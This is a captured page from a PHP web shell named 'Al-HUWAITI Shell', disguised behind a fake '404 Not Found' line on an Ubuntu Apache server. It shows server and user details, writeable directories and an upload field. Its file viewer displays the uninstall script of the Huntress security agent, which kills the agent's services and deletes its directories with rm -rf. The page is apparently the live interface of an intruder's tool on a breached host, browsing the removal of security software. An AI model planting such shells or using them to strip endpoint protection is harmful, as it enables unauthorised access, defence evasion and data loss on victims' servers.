hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache/2.4.52 (Ubuntu)
System : Linux HAN2 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : servadmin ( 1000)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
Directory :  /usr/share/huntress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/huntress/uninstall.sh
#!/usr/bin/env bash
# Copyright 2025 Huntress Labs, Inc. All rights reserved.
#
# Unauthorized copying of this file, via any medium is strictly prohibited
# without the express written consent of Huntress Labs, Inc.

set -euo pipefail

readonly huntress_agent_service=huntress-agent
readonly huntress_updater_service=huntress-updater
readonly huntress_agent="/usr/share/huntress/${huntress_agent_service}"
readonly huntress_updater="/usr/share/huntress/${huntress_updater_service}"

log_info() {
  local ts
  ts=$(date -u +"%Y-%m-%dT%H:%M:%S")
  echo "$ts $*"
}

die() {
  log_info "[x] $*"
  #exit 1
  kill -INT $$
}

uninstall_pkg() {
  # Stop Service management and Remove it
  # TODO: check if running before stopping it
  log_info " [+] Stopping Huntress Services"
  $huntress_agent stop
  $huntress_updater stop

  log_info " [+] Removing Huntress Services"
  $huntress_agent uninstall
  $huntress_updater uninstall

  # Stop Process
  log_info " [+] Killing Huntress processes"
  pkill -f "${huntress_agent_service}"
  pkill -f "${huntress_updater_service}"

  # Remove binaries and config
  log_info " [+] Removing Huntress directories"
  rm -rf /usr/share/huntress || die "Could not remove /usr/share/huntress"
  rm -rf /etc/huntress || die "Could not remove /etc/huntress"

  # reload to clean up removed service artifacts
  systemctl daemon-reload
}

log_info "[+] Starting Uninstall"
(uninstall_pkg && log_info "[+] Finished Uninstall") || die "Uninstall failed."

Al-HUWAITI Shell